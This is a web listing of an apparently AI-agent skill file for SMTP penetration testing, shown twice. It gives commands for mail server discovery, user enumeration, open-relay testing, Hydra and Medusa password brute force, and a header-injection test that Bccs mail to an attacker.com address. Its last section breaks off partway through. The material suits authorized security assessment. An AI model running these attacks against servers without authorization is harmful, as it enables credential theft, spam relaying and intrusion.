/smtp-penetration-testing
This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP
$ npx -y skills add zebbern/claude-code-guide --skill smtp-penetration-testing --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/smtp-penetration-testing
Context preview
The summary Claude sees to decide when to auto-load this skill.
This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP
SKILL.md
smtp-penetration-testing.SKILL.mdname: smtp-penetration-testing
description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
metadata:
author: zebbern
version: "1.1"
SMTP Penetration Testing
Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
Prerequisites
Required Tools
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
Outputs and Deliverables
1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings 2. **User Enumeration Results** - Valid email addresses discovered 3. **Relay Test Results** - Open relay status and exploitation potential 4. **Remediation Recommendations** - Security hardening guidance
Core Workflow
Phase 1: SMTP Architecture Understanding
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
Phase 3: Banner Grabbing
Retrieve SMTP server information:
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
Parse banner information:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
Phase 4: SMTP Command Enumeration
Test available SMTP commands:
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
Key commands to test:
# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist
Phase 5: User Enumeration
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Using Nmap:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IPPhase 6: Open Relay Testing
Test for unauthorized email relay:
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
Test variations:
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Using Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Using Metasploit:
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
Phase 8: SMTP Command Injection
Test for command injection vulnerabilities:
# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Inject
Read more
name: smtp-penetration-testing description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security. metadata: author: zebbern version: "1.1"
SMTP Penetration Testing
Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
Prerequisites
Required Tools
# Nmap with SMTP scripts sudo apt-get install nmap # Netcat sudo apt-get install netcat # Hydra for brute force sudo apt-get install hydra # SMTP user enumeration tool sudo apt-get install smtp-user-enum # Metasploit Framework msfconsole
Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
Outputs and Deliverables
1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings 2. **User Enumeration Results** - Valid email addresses discovered 3. **Relay Test Results** - Open relay status and exploitation potential 4. **Remediation Recommendations** - Security hardening guidance
Core Workflow
Phase 1: SMTP Architecture Understanding
Components: MTA (transfer) → MDA (delivery) → MUA (client) Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative) Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
# Discover SMTP ports nmap -p 25,465,587,2525 -sV TARGET_IP # Aggressive service detection nmap -sV -sC -p 25 TARGET_IP # SMTP-specific scripts nmap --script=smtp-* -p 25 TARGET_IP # Discover MX records for domain dig MX target.com nslookup -type=mx target.com host -t mx target.com
Phase 3: Banner Grabbing
Retrieve SMTP server information:
# Using Telnet telnet TARGET_IP 25 # Response: 220 mail.target.com ESMTP Postfix # Using Netcat nc TARGET_IP 25 # Response: 220 mail.target.com ESMTP # Using Nmap nmap -sV -p 25 TARGET_IP # Version detection extracts banner info # Manual SMTP commands EHLO test # Response reveals supported extensions
Parse banner information:
Banner reveals: - Server software (Postfix, Sendmail, Exchange) - Version information - Hostname - Supported SMTP extensions (STARTTLS, AUTH, etc.)
Phase 4: SMTP Command Enumeration
Test available SMTP commands:
# Connect and test commands nc TARGET_IP 25 # Initial greeting EHLO attacker.com # Response shows capabilities: 250-mail.target.com 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-8BITMIME 250 DSN
Key commands to test:
# VRFY - Verify user exists VRFY admin 250 2.1.5 admin@target.com # EXPN - Expand mailing list EXPN staff 250 2.1.5 user1@target.com 250 2.1.5 user2@target.com # RCPT TO - Recipient verification MAIL FROM:<test@attacker.com> RCPT TO:<admin@target.com> # 250 OK = user exists # 550 = user doesn't exist
Phase 5: User Enumeration
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP # Using EXPN method smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP # Using RCPT method smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP # Specify port and domain smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum set RHOSTS TARGET_IP set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set UNIXONLY true run
Using Nmap:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IPPhase 6: Open Relay Testing
Test for unauthorized email relay:
# Using Nmap nmap -p 25 --script smtp-open-relay TARGET_IP # Manual testing via Telnet telnet TARGET_IP 25 HELO attacker.com MAIL FROM:<test@attacker.com> RCPT TO:<victim@external-domain.com> DATA Subject: Relay Test This is a test. . QUIT # If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay set RHOSTS TARGET_IP run
Test variations:
# Test different sender/recipient combinations MAIL FROM:<> MAIL FROM:<test@[attacker_IP]> MAIL FROM:<test@target.com> RCPT TO:<test@external.com> RCPT TO:<"test@external.com"> RCPT TO:<test%external.com@target.com>
Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
# Using Hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP # With specific port and SSL hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp # Multiple users hydra -L users.txt -P passwords.txt TARGET_IP smtp # Verbose output hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Using Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Using Metasploit:
use auxiliary/scanner/smtp/smtp_login set RHOSTS TARGET_IP set USER_FILE /path/to/users.txt set PASS_FILE /path/to/passwords.txt set VERBOSE true run
Phase 8: SMTP Command Injection
Test for command injection vulnerabilities:
# Header injection test MAIL FROM:<attacker@test.com> RCPT TO:<victim@target.com> DATA Subject: Test Bcc: hidden@attacker.com X-Inject
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
Repo: zebbern/claude-code-guide
Other skills on claude-code-guide.
- /academic-paper-reviewer
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with actionable feedback. Triggers when a user asks to \"review my paper,\" \"simulate peer review,\" or \"give my paper a peer
Open skill - /active-directory-attacks
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration
Open skill - /api-fuzzing-bug-bounty
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
Open skill - /api-shape-explorer
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions "design it twice".
Open skill - /audit-flow
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems.
Open skill - /authentication-patterns
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.
Open skill

